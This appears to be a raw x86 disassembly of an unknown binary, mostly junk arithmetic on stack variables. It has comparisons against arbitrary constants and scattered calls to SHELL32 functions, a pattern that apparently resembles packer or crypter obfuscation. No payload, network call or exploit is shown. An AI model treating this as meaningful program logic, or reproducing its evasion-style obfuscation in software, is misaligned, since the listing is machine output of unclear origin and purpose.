mov edx, dword [ebp - 0x95d0]
mov ecx, dword [ebp - 0x659c]
sar edx, cl
mov dword [ebp - 0x1a68], edx
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x5f10], cx
movzx ecx, byte [ebp - 0x51c1]
movzx edx, byte [ebp - 0x30a5]
and ecx, edx
mov eax, dword [ebp - 0x6224]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5a0]
add edx, dword [eax]
mov dword [0x48d004], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2854]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5a0]
add eax, dword [ecx]
mov dword [ebp - 0x86c0], eax
movzx edx, word [ebp - 0x3ea8]
movzx eax, word [ebp - 0x5728]
sub edx, eax
mov ecx, dword [ebp - 0x3024]
mov word [ecx], dx
movzx edx, byte [ebp - 0x51c1]
mov eax, dword [ebp - 0x5ee0]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x6224]
mov byte [eax], dl
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x659c]
and edx, dword [ecx]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x659c], edx
mov eax, dword [0x48d008]
or eax, dword [ebp - 0x1c44]
mov dword [ebp - 0x86c0], eax
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2854]
shl edx, cl
mov eax, dword [ebp - 0x4650]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ebp - 0x2854]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40d0]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0xa038]
mov byte [eax], dl
mov ecx, dword [ebp - 0x27f4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x86bc]
sub edx, eax
mov word [ebp - 0x7074], dx
movzx ecx, word [ebp - 0x8220]
movzx edx, word [ebp - 0x3ea8]
and ecx, edx
mov word [ebp - 0x5f10], cx
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x6dfc]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x61e8]
mov byte [edx], cl
mov eax, dword [ebp - 0x74d0]
add eax, 0xdb
mov dword [ebp - 0x74d0], eax
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [ebp - 0x1234]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x590], eax
mov ecx, dword [ebp - 0x6e40]
add ecx, dword [ebp - 0x95d0]
mov dword [ebp - 0x1a68], ecx
movzx edx, byte [ebp - 0x2e8e]
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x5d05], dl
movzx edx, word [ebp - 0x5728]
movzx eax, word [ebp - 0x5f10]
add edx, eax
mov ecx, dword [ebp - 0x3024]
mov word [ecx], dx
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
add eax, dword [ebp - 0x1c44]
mov dword [ebp - 0x4c04], eax
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x6e40]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0xc4]
and eax, dword [ebp - 0x6e40]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5944]
mov ecx, dword [ebp - 0x1f88]
shl edx, cl
mov eax, dword [ebp - 0x55a8]
mov dword [eax], edx
movzx ecx, word [ebp - 0x5f10]
mov edx, dword [ebp - 0x5578]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x3ea8], cx
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x2e8e], dl
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2854]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x95d0]
add ecx, dword [ebp - 0x659c]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5a0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x5944]
mov dword [0x48d004], ecx
movsx edx, word [ebp - 0x7074]
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x86bc], dx
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5728]
sub eax, ecx
mov word [ebp - 0x5f10], ax
movzx edx, byte [ebp - 0x5da5]
movzx eax, byte [ebp - 0x30a5]
add edx, eax
mov ecx, dword [ebp - 0x61e8]
mov byte [ecx], dl
jmp 0x4069cf
mov edx, dword [ebp - 0x5a0]
mov eax, dword [edx]
add eax, dword [ebp - 0x4c04]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5a0]
mov eax, dword [edx]
add eax, dword [ebp - 0x5944]
mov dword [ebp - 0x8ef0], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0x6e40]
sub edx, dword [ecx]
mov dword [ebp - 0x659c], edx
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [eax]
sub ecx, dword [0x48e1c8]
mov dword [ebp - 0x95d0], ecx
mov edx, dword [ebp - 0x21a0]
sub edx, 0x27
mov dword [ebp - 0x21a0], edx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1a68]
mov edx, dword [ebp - 0x38ac]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5ee0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x51c1]
sub ecx, edx
mov eax, dword [ebp - 0x61e8]
mov byte [eax], cl
movzx edx, word [ebp - 0x8220]
movzx ecx, word [ebp - 0x39b0]
shl edx, cl
mov word [section..data], dx
mov eax, dword [ebp - 0x4c04]
mov ecx, dword [ebp - 0x86c0]
shr eax, cl
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0xc4]
or edx, dword [ecx]
mov eax, dword [ebp - 0x4650]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x1a68]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov ecx, dword [ebp - 0x86c0]
and ecx, dword [0x48d008]
mov dword [ebp - 0x5944], ecx
mov edx, dword [ebp - 0x6224]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2e8e]
sub eax, ecx
mov byte [ebp - 0x5da5], al
movzx edx, word [ebp - 0x8220]
mov eax, dword [ebp - 0x3024]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x66b8]
mov word [eax], dx
mov ecx, dword [ebp - 0x40d0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x6bb4]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0xa038]
mov byte [eax], dl
mov ecx, dword [ebp - 0x7f38]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x86bc]
add edx, eax
mov ecx, dword [ebp - 0x7f38]
mov word [ecx], dx
mov edx, dword [ebp - 0x55a8]
mov eax, dword [0x48d004]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6e40]
add edx, dword [ebp - 0x95d0]
mov dword [ebp - 0x659c], edx
movzx eax, byte [ebp - 0x5da5]
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x5d05], al
movzx eax, word [ebp - 0x4b34]
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x206c]
mov word [ecx], ax
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx]
or eax, dword [ebp - 0x2854]
mov dword [ebp - 0x659c], eax
mov edx, dword [ebp - 0x86c0]
mov ecx, dword [ebp - 0x8ef0]
shr edx, cl
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x4650]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0x6e40]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x1a68], eax
mov ecx, dword [ebp - 0x5ee0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x61e8]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x6dfc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x5578]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x4b34]
add edx, eax
mov word [section..data], dx
mov ecx, dword [ebp - 0x8ef0]
add ecx, dword [ebp - 0x5944]
mov edx, dword [ebp - 0x3d88]
mov dword [edx], ecx
mov eax, dword [ebp - 0x659c]
add eax, dword [ebp - 0x1a68]
mov dword [ebp - 0x2854], eax
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1a68]
mov dword [ebp - 0x6e40], edx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x7f38]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x86bc]
sub ecx, edx
mov word [ebp - 0x7074], cx
movsx eax, byte [ebp - 0x43c5]
movsx ecx, byte [ebp - 0x3a69]
sub eax, ecx
mov edx, dword [ebp - 0x6bb4]
mov byte [edx], al
mov eax, dword [ebp - 0x3024]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x6ad4]
mov word [edx], cx
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x5da5]
or ecx, edx
mov eax, dword [ebp - 0x61e8]
mov byte [eax], cl
cmp dword [ebp - 0x21a0], 0x2a00
jae 0x406d4d
cmp dword [ebp - 0x3254], 0xaa0c
ja 0x4072f3
mov ecx, dword [ebp - 0x590]
xor ecx, dword [0x48d008]
mov edx, dword [ebp - 0x5a0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3254]
add eax, 0x82
mov dword [ebp - 0x3254], eax
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ebp - 0x1234]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x1f88], eax
movzx edx, byte [ebp - 0x51c1]
movzx ecx, byte [ebp - 0x2e8e]
shl edx, cl
mov byte [ebp - 0x30a5], dl
mov eax, dword [ebp - 0x3024]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x5578]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x206c]
mov word [edx], cx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x6e40]
mov edx, dword [ebp - 0x4f00]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1234]
mov ecx, dword [0x48d004]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3d88]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x4650]
add ecx, dword [edx]
mov dword [ebp - 0x1a68], ecx
mov eax, dword [ebp - 0xc4]
add eax, dword [0x48e1c8]
mov dword [ebp - 0x659c], eax
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x5578]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x206c]
mov word [eax], dx
mov ecx, dword [ebp - 0x5ee0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x5d05], dl
mov edx, dword [ebp - 0x5a0]
mov eax, dword [ebp - 0x1f88]
sub eax, dword [edx]
mov dword [ebp - 0x5944], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6e40]
mov dword [ebp - 0x1a68], edx
mov eax, dword [ebp - 0xa038]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x3a69]
sub ecx, edx
mov eax, dword [ebp - 0x97b0]
mov byte [eax], cl
mov ecx, dword [ebp - 0x7f38]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x7074]
sar edx, cl
mov eax, dword [ebp - 0x7f38]
mov word [eax], dx
movzx ecx, byte [ebp - 0x30a5]
movzx edx, byte [ebp - 0x51c1]
xor ecx, edx
mov byte [ebp - 0x5d05], cl
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3024]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x5f10], cx
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [ebp - 0x5944]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1a68]
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x6e40]
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x1c44]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2854]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x6dfc]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x61e8]
mov byte [edx], cl
movzx eax, word [ebp - 0x8220]
movzx ecx, word [ebp - 0x3ea8]
sub eax, ecx
mov word [ebp - 0x39b0], ax
mov edx, dword [ebp - 0x2854]
add edx, dword [ebp - 0x95d0]
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [ecx]
and edx, dword [ebp - 0x86c0]
mov eax, dword [ebp - 0x55a8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x95d0]
add ecx, dword [ebp - 0x2854]
mov edx, dword [ebp - 0x8880]
mov dword [edx], ecx
jmp 0x407076
lea eax, [ebp - 0x95d0]
mov dword [0x48e984], eax
mov ecx, dword [0x48e8c4]
mov dword [ebp - 0xa268], ecx
cmp dword [ebp - 0xa268], 0
je 0x407328
cmp dword [ebp - 0xa268], 0x7ccbb785
je 0x407433
jmp 0x4074d6
mov edx, dword [ebp - 0x4650]
mov eax, dword [ebp - 0x4f00]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x6e40]
or eax, dword [ebp - 0xc4]
cmp edx, eax
jge 0x4073de
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
mov dword [ebp - 0xa26c], edx
cmp dword [ebp - 0xa26c], 0x33369af9
je 0x40736a
jmp 0x4073c3
lea eax, [ebp - 0x49b4]
push eax
lea ecx, [ebp - 0x9a8]
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x524], eax
mov edx, dword [ebp - 0x6224]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x6dfc]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x30a5], al
mov edx, dword [ebp - 0x7f38]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x5578]
movzx ecx, word [eax]
push ecx
call fcn.00484830
jmp 0x4073de
movzx edx, word [ebp - 0x3ea8]
mov eax, dword [ebp - 0x3024]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x6ad4]
mov word [eax], dx
lea ecx, [ebp - 0x43c5]
mov dword [ebp - 0x8558], ecx
lea edx, [ebp - 0x7074]
mov dword [ebp - 0x5cdc], edx
mov eax, dword [ebp - 0x1234]
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x55a8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
and edx, dword [ebp - 0x95d0]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov dword [ebp - 0x3540], 0x8fa9
jmp 0x4074d6
mov cl, byte [ebp - 0x2e8e]
mov byte [ebp - 0xa270], cl
cmp byte [ebp - 0xa270], 0x6e
je 0x40744a
jmp 0x407462
movzx edx, byte [ebp - 0x5d05]
movzx eax, byte [ebp - 0x30a5]
add edx, eax
mov byte [ebp - 0x2e8e], dl
jmp 0x4074d6
lea ecx, [ebp - 0x7790]
push ecx
lea edx, [ebp - 0xc4]
push edx
lea eax, [ebp - 0x7f38]
push eax
lea ecx, [ebp - 0x1c44]
push ecx
call dword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [ebp - 0x7484], eax
movzx edx, word [ebp - 0x3ea8]
mov eax, dword [ebp - 0x3024]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x206c]
mov word [eax], dx
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ebp - 0x4c04]
add edx, dword [ecx]
mov dword [0x48d004], edx
movzx eax, word [ebp - 0x7074]
push eax
movzx ecx, byte [ebp - 0x51c1]
push ecx
movzx edx, word [ebp - 0x39b0]
push edx
call fcn.00484830
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [ebp - 0x1234]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1f88]
cmp edx, ecx
jne 0x40765c
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4650]
add eax, dword [ecx]
mov edx, dword [ebp - 0x4f00]
mov ecx, dword [ebp - 0xc4]
sub ecx, dword [edx]
cmp eax, ecx
jl 0x407642
movzx edx, byte [ebp - 0x2e8e]
mov eax, dword [ebp - 0x61e8]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x6224]
movzx eax, byte [eax]
movzx ecx, byte [ebp - 0x5da5]
sar eax, cl
cmp edx, eax
jg 0x407626
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
mov dword [ebp - 0x88e0], edx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x95d0]
mov edx, dword [ebp - 0x8880]
mov dword [edx], ecx
mov al, byte [ebp - 0x3a69]
mov byte [ebp - 0xa274], al
cmp byte [ebp - 0xa274], 0
je 0x407595
cmp byte [ebp - 0xa274], 0x6f
je 0x40760e
jmp 0x407624
mov ecx, dword [ebp - 0x1c44]
mov dword [ebp - 0x1238], ecx
movzx edx, word [ebp - 0x8220]
movzx eax, word [ebp - 0x3ea8]
and edx, eax
mov word [ebp - 0x5728], dx
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x61e8]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x6224]
mov byte [eax], dl
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x110c], ecx
mov edx, dword [ebp - 0x38ac]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4650]
add eax, dword [ecx]
mov dword [ebp - 0x95d0], eax
lea edx, [ebp - 0x8ef0]
mov dword [ebp - 0x79dc], edx
mov dword [0x48ebd4], 0x48e1c8
jmp 0x407624
mov eax, dword [ebp - 0x110c]
mov ecx, dword [ebp - 0x95d0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4f00]
mov dword [edx], ecx
jmp 0x407640
lea eax, [ebp - 0xdd0]
push eax
lea ecx, [ebp - 0x6e40]
push ecx
call dword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [ebp - 0x7788], eax
jmp 0x40765c
mov edx, dword [ebp - 0x40d0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x6bb4]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x4429], al
mov dword [ebp - 0x7378], 0xfb93
cmp dword [ebp - 0x3540], 0xb709
ja 0x4077eb
movsx eax, word [ebp - 0x86bc]
movsx ecx, word [ebp - 0x7074]
add eax, ecx
mov edx, dword [ebp - 0x27f4]
mov word [edx], ax
movzx eax, byte [ebp - 0x2e8e]
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x61e8]
mov byte [ecx], al
mov edx, dword [ebp - 0x6ad4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5728]
sub eax, ecx
mov edx, dword [ebp - 0x66b8]
mov word [edx], ax
mov eax, dword [ebp - 0x79dc]
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4c04], edx
mov eax, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0xc4]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x4650]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x5da5]
movzx edx, byte [ebp - 0x5d05]
or ecx, edx
mov eax, dword [ebp - 0x61e8]
mov byte [eax], cl
movzx ecx, word [ebp - 0x5f10]
movzx edx, word [ebp - 0x8220]
xor ecx, edx
mov word [section..data], cx
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [ebp - 0x1234]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x5a0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3540]
add ecx, 0xfc
mov dword [ebp - 0x3540], ecx
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0x8880]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4650]
mov dword [edx], ecx
mov eax, dword [ebp - 0x95d0]
add eax, dword [ebp - 0x88e0]
mov ecx, dword [ebp - 0x38ac]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5944]
sub edx, dword [ebp - 0x1238]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
movzx ecx, word [ebp - 0x4b34]
mov edx, dword [ebp - 0x5578]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x3120]
mov word [edx], cx
movzx eax, byte [ebp - 0x5d05]
movzx ecx, byte [ebp - 0x5da5]
add eax, ecx
mov byte [ebp - 0x2e8e], al
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
add eax, dword [ebp - 0x2854]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0x6e40]
add ecx, dword [ebp - 0x2854]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
jmp 0x407666
mov eax, dword [ebp - 0x97b0]
mov cl, byte [eax]
mov byte [ebp - 0xa278], cl
cmp byte [ebp - 0xa278], 0
je 0x4078d2
cmp byte [ebp - 0xa278], 0x59
je 0x407814
jmp 0x483948
mov edx, dword [ebp - 0x6dfc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
mov ecx, dword [ebp - 0x5ee0]
movzx ecx, byte [ecx]
sar edx, cl
cmp eax, edx
jle 0x407842
jmp 0x40785a
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x79dc]
add eax, dword [ecx]
mov edx, dword [ebp - 0x5a0]
mov dword [edx], eax
mov eax, dword [ebp - 0x61e8]
mov cl, byte [eax]
mov byte [ebp - 0xa27c], cl
cmp byte [ebp - 0xa27c], 0x4d
je 0x407875
jmp 0x407891
push 0
lea edx, [ebp - 0x106c]
push edx
lea eax, [ebp - 0xf38]
push eax
call dword [sym.imp.SHELL32.dll_ILAppendID]
mov dword [ebp - 0x7790], eax
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x66b8]
mov word [eax], dx
mov ecx, dword [ebp - 0x5cdc]
movzx edx, word [ecx]
push edx
movzx eax, byte [ebp - 0x30a5]
push eax
movzx ecx, word [ebp - 0x4b34]
push ecx
call fcn.00484830
jmp 0x483948
mov edx, dword [ebp - 0x5a0]
mov eax, dword [ebp - 0x8ef0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
lea edx, [ebp - 0x88e0]
mov dword [ebp - 0x693c], edx
mov eax, dword [ebp - 0x5ee0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x6224]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x6dfc]
movzx eax, byte [edx]
mov edx, dword [ebp - 0x61e8]
movzx edx, byte [edx]
add eax, edx
cmp ecx, eax
jl 0x48393c
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [0x48e1c8]
and ecx, dword [eax]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
cmp dword [ebp - 0x8d4c], 0x2eb3
jbe 0x407bde
mov eax, dword [ebp - 0x693c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x38ac]
add ecx, dword [edx]
mov dword [ebp - 0x95d0], ecx
movzx eax, word [ebp - 0x4b34]
movzx ecx, word [section..data]
sub eax, ecx
mov edx, dword [ebp - 0x206c]
mov word [edx], ax
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1a68]
mov dword [0x48e8c4], ecx
mov edx, dword [ebp - 0x79dc]
mov eax, dword [ebp - 0x86c0]
sub eax, dword [edx]
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0x659c]
or edx, dword [ecx]
mov eax, dword [ebp - 0x693c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x1f88]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x8ef0], edx
movzx eax, byte [ebp - 0x30a5]
mov ecx, dword [ebp - 0x61e8]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x5ee0]
mov byte [edx], al
movzx eax, word [ebp - 0x5728]
mov ecx, dword [ebp - 0x3024]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3120]
mov word [ecx], ax
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x8558]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0xa038]
mov byte [ecx], al
mov edx, dword [ebp - 0x7f38]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x5cdc]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x7f38]
mov word [ecx], ax
mov edx, dword [ebp - 0x5a0]
mov eax, dword [edx]
add eax, dword [ebp - 0x1f88]
mov dword [0x48d004], eax
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x6e40]
add edx, dword [ecx]
mov eax, dword [ebp - 0x110c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x5da5]
mov edx, dword [ebp - 0x5ee0]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x6dfc]
mov byte [edx], cl
movzx eax, word [ebp - 0x5728]
movzx ecx, word [ebp - 0x3ea8]
and eax, ecx
mov edx, dword [ebp - 0x5578]
mov word [edx], ax
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x6e40]
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 0x5a0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1238]
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x693c]
mov edx, dword [ebp - 0x88e0]
sub edx, dword [ecx]
mov dword [ebp - 0x659c], edx
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [ebp - 0x95d0]
xor ecx, dword [eax]
mov dword [ebp - 0x88e0], ecx
movzx edx, word [ebp - 0x5728]
movzx ecx, word [ebp - 0x39b0]
shl edx, cl
mov word [ebp - 0x4b34], dx
mov eax, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x6e40]
mov ecx, dword [eax]
